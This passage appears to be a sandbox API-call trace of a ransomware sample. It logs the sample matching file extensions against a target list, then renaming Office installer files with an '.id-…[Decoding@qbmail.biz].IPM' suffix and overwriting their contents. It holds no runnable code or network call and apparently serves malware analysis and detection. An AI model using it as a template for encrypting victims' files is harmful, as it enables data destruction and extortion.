"c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0095.077] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0095.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0095.078] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0095.078] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.078] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a70058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.134] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.134] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ab0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.232] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.232] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.232] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3af0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.470] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.471] WriteFile (hFile=0x1c8, lpBuffer=0x3a70020, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0) Thread: id = 16 os_tid = 0x7e4 [0069.261] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38d0080 [0069.261] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x38e0088 [0069.262] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff50 [0069.262] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a398 [0069.262] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff68 [0069.262] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3b80020 [0069.263] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff80 [0069.263] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff80, Size=0x20) returned 0x6248b0 [0069.263] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff80 [0069.263] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff80, Size=0x20) returned 0x6249a0 [0069.263] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0069.263] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0069.264] Wow64DisableWow64FsRedirection (in: OldValue=0x316ff58 | out: OldValue=0x316ff58*=0x0) returned 1 [0069.264] lstrlenW (lpString="kernel32.dll") returned 12 [0069.264] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6248b0 | out: hHeap=0x5d0000) returned 1 [0069.264] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0069.264] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6249a0 | out: hHeap=0x5d0000) returned 1 [0069.264] Sleep (dwMilliseconds=0x64) [0069.545] Sleep (dwMilliseconds=0x64) [0069.817] lstrlenW (lpString="BCD") returned 3 [0069.817] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.818] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.818] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.818] lstrlenW (lpString=".doc") returned 4 [0069.818] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString=".docx") returned 5 [0069.818] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0069.818] lstrlenW (lpString=".pdf") returned 4 [0069.818] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString=".xls") returned 4 [0069.818] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString=".xlsx") returned 5 [0069.818] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0069.818] lstrlenW (lpString=".ppt") returned 4 [0069.818] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.818] lstrlenW (lpString=".zip") returned 4 [0069.818] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString=".rar") returned 4 [0069.818] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString=".bz2") returned 4 [0069.818] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString=".7z") returned 3 [0069.818] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0069.818] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.818] lstrlenW (lpString=".dbf") returned 4 [0069.818] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0069.818] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.818] lstrlenW (lpString=".1cd") returned 4 [0069.819] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.819] lstrlenW (lpString=".jpg") returned 4 [0069.819] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.819] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.819] lstrlenW (lpString=".doc") returned 4 [0069.819] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString=".docx") returned 5 [0069.819] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0069.819] lstrlenW (lpString=".pdf") returned 4 [0069.819] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString=".xls") returned 4 [0069.819] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString=".xlsx") returned 5 [0069.819] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0069.819] lstrlenW (lpString=".ppt") returned 4 [0069.819] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.819] lstrlenW (lpString=".zip") returned 4 [0069.819] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString=".rar") returned 4 [0069.819] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString=".bz2") returned 4 [0069.819] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0069.819] lstrlenW (lpString=".7z") returned 3 [0069.819] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0069.819] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.820] lstrlenW (lpString=".dbf") returned 4 [0069.820] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0069.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.820] lstrlenW (lpString=".1cd") returned 4 [0069.820] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0069.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0069.820] lstrlenW (lpString=".jpg") returned 4 [0069.820] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0069.820] lstrcmpiW (lpString1=".LOG1", lpString2=".IPM") returned 1 [0069.820] lstrlenW (lpString="BCD.LOG1") returned 8 [0069.820] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0070.064] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=0) returned 1 [0070.064] CloseHandle (hObject=0x1c4) returned 1 [0070.064] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.064] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.064] lstrlenW (lpString=".doc") returned 4 [0070.064] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0070.064] lstrlenW (lpString=".docx") returned 5 [0070.064] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0070.064] lstrlenW (lpString=".pdf") returned 4 [0070.064] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0070.064] lstrlenW (lpString=".xls") returned 4 [0070.064] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0070.064] lstrlenW (lpString=".xlsx") returned 5 [0070.064] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0070.064] lstrlenW (lpString=".ppt") returned 4 [0070.064] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0070.064] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.065] lstrlenW (lpString=".zip") returned 4 [0070.065] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0070.065] lstrlenW (lpString=".rar") returned 4 [0070.065] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0070.065] lstrlenW (lpString=".bz2") returned 4 [0070.065] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0070.065] lstrlenW (lpString=".7z") returned 3 [0070.065] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0070.065] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.065] lstrlenW (lpString=".dbf") returned 4 [0070.065] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0070.065] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.065] lstrlenW (lpString=".1cd") returned 4 [0070.065] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0070.065] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.065] lstrlenW (lpString=".jpg") returned 4 [0070.065] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0070.065] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.066] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.066] lstrlenW (lpString=".doc") returned 4 [0070.066] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString=".docx") returned 5 [0070.066] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0070.066] lstrlenW (lpString=".pdf") returned 4 [0070.066] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString=".xls") returned 4 [0070.066] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString=".xlsx") returned 5 [0070.066] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0070.066] lstrlenW (lpString=".ppt") returned 4 [0070.066] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.066] lstrlenW (lpString=".zip") returned 4 [0070.066] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString=".rar") returned 4 [0070.066] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString=".bz2") returned 4 [0070.066] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0070.066] lstrlenW (lpString=".7z") returned 3 [0070.066] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0070.066] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.066] lstrlenW (lpString=".dbf") returned 4 [0070.067] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0070.067] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.067] lstrlenW (lpString=".1cd") returned 4 [0070.067] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0070.067] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0070.067] lstrlenW (lpString=".jpg") returned 4 [0070.067] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0070.067] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0070.067] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0070.067] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0070.069] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2503680) returned 1 [0070.069] CloseHandle (hObject=0x1c4) returned 1 [0070.069] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0070.069] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.069] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0070.145] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0070.145] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0070.145] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.145] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.439] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.442] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.550] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.550] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.550] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.887] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.888] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0071.145] SetEndOfFile (hFile=0x1c4) returned 1 [0071.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f23fe0 [0071.321] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.321] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.324] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.324] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.338] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.338] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe0 | out: hHeap=0x5d0000) returned 1 [0071.347] CloseHandle (hObject=0x1c4) returned 1 [0073.219] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.220] lstrlenW (lpString=".doc") returned 4 [0073.220] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.220] lstrlenW (lpString=".docx") returned 5 [0073.220] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.220] lstrlenW (lpString=".pdf") returned 4 [0073.220] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.220] lstrlenW (lpString=".xls") returned 4 [0073.220] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.220] lstrlenW (lpString=".xlsx") returned 5 [0073.220] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.220] lstrlenW (lpString=".ppt") returned 4 [0073.220] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.220] lstrlenW (lpString=".zip") returned 4 [0073.220] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.220] lstrlenW (lpString=".rar") returned 4 [0073.220] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.220] lstrlenW (lpString=".bz2") returned 4 [0073.220] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.220] lstrlenW (lpString=".7z") returned 3 [0073.220] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.220] lstrlenW (lpString=".dbf") returned 4 [0073.220] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.221] lstrlenW (lpString=".1cd") returned 4 [0073.221] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.221] lstrlenW (lpString=".jpg") returned 4 [0073.221] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.221] lstrlenW (lpString=".doc") returned 4 [0073.221] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0073.221] lstrlenW (lpString=".docx") returned 5 [0073.221] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0073.221] lstrlenW (lpString=".pdf") returned 4 [0073.221] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0073.221] lstrlenW (lpString=".xls") returned 4 [0073.221] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0073.221] lstrlenW (lpString=".xlsx") returned 5 [0073.221] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0073.221] lstrlenW (lpString=".ppt") returned 4 [0073.221] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0073.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.221] lstrlenW (lpString=".zip") returned 4 [0073.221] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0073.221] lstrlenW (lpString=".rar") returned 4 [0073.221] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0073.221] lstrlenW (lpString=".bz2") returned 4 [0073.221] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0073.221] lstrlenW (lpString=".7z") returned 3 [0073.221] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0073.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.222] lstrlenW (lpString=".dbf") returned 4 [0073.222] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0073.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.222] lstrlenW (lpString=".1cd") returned 4 [0073.222] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0073.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0073.222] lstrlenW (lpString=".jpg") returned 4 [0073.222] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0073.222] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0073.222] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0073.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0073.222] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2513920) returned 1 [0073.222] CloseHandle (hObject=0x1c4) returned 1 [0073.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0073.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.223] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0073.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all 